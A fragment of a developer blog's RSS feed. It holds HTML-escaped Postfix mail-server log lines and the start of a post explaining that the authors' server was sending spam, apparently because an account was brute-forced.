class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;45.137.22.186&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#1 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="mf"&gt;127.0.0.1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#1 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#2 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="mf"&gt;127.0.0.1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#2 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#3 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="mf"&gt;127.0.0.1&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retrying&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#3 of 3): Connection refused&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;spamc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16474&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;attempt&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;spamd&lt;/span&gt; &lt;span class="n"&gt;aborted&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;retries&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16472&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;spamassassin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;spamassassin&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28134&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pickup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;17597&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1008&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;cw4826878&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16471&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;20230121230341.2&lt;/span&gt;&lt;span class="n"&gt;BAFFC26FBE2B2BA&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;opendkim&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;627&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DKIM&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Signature&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt; &lt;span class="n"&gt;added&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28134&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;cw4826878&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2104&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16519&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;orig_to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.04&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;maildir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16519&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;hannes&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;orig_to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.04&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;maildir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28134&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0124.html</guid><pubDate>Tue, 24 Jan 2023 00:00:00 +0000</pubDate></item><item><title>Why our server was sending spam</title><link>https://luc.lino-framework.org/blog/2023/0123.html</link><description>&lt;section id="why-our-server-was-sending-spam"&gt;
&lt;h1&gt;Why our server was sending spam&lt;a class="headerlink" href="#why-our-server-was-sending-spam" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Monday, January 23, 2023&lt;/p&gt;
&lt;p&gt;Our server SR has been blocked once more by OVH (the data center) because it was
sending spam. This was the third time since January 8. Each time we thought that
we had identified and fixed the issue. The first two times we were obviously
wrong. The spammer was obviously the same because there are again 30000 mails in
our mailq, and they all claim to come from &lt;cite&gt;mail10.lwspanel.com&lt;/cite&gt;&lt;/p&gt;
&lt;p&gt;The first time, &lt;a class="reference internal" href="0109.html"&gt;&lt;span class="doc"&gt;two weeks ago&lt;/span&gt;&lt;/a&gt;, I thought somebody had sniffed out
my password because I had been using Thunderbird from a relatively insecure
network. The second time we suspected dnswl.org to be somehow collaborate with
spammers.&lt;/p&gt;
&lt;p&gt;Today Hannes and I worked together on this because two brains are more powerful
in parallel than in series. And now I think I know what happened: the spammer
used the account of one of our team members. I guess that the spammer used brute
force: we don’t use fail2ban the username are publicly known, so they just
needed to try patiently enough.&lt;/p&gt;
